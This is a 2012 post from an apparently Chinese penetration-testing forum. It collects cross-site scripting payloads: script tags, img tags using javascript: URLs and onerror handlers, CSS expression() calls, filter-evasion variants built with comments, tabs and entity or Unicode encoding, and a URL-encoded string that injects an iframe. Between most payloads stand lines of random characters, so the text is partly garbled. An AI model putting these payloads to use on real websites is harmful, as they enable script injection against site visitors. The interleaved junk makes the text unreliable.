中国网络渗透测试联盟
标题:
跨站语句大全
[打印本页]
作者:
admin
时间:
2012-9-13 17:15
标题:
跨站语句大全
<script>alert("跨站")</script> (最常用）
8 f2 q8 B5 x- }1 b' o; V
<img scr=javascript:alert("跨站")></img>
) S2 e9 _# c: G1 J( F
<img scr="javascript: alert(/跨站/)></img>
# I# s* \2 F" m4 f. |+ I" m; P; c: N N
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
' R/ `( r% n0 K/ G) I
<img scr="#" onerror=alert(/跨站/)></img>
- C0 B7 Z* l1 l1 S8 J/ F" d
<img scr="#" style="xss:expression(alert(/xss/));"></img>
& t+ }1 x$ ]# h; E
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
/ q/ M1 `6 i% c4 B2 u6 ?" h
<img src=vbscript:msgbox ("xss")></img>
( v9 ~4 @3 d# O. V+ K7 t3 Q
<style> input {left:expression (alert('xss'))}</style>
~& {" t4 n2 a* q9 H% Z
<div style={left:expression (alert('xss'))}></div>
. A ]" }7 Q5 @/ V2 Y7 k
<div style={left:exp/* */ression (alert('xss'))}></div>
3 b& L- O, d7 `! a9 o: B
<div style={left:\0065\0078ression (alert('xss'))}></div>
P7 r6 E1 b& J, A
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
Q8 C! t/ M) ?" T
unicode <div style="{left:expRessioN (alert('xss'))}">
- z) s3 d( z h D' Q+ y
' P$ a! Q- }6 a' p h2 d4 s, v. C" p
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
* d- b' J1 w* T0 r7 u
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2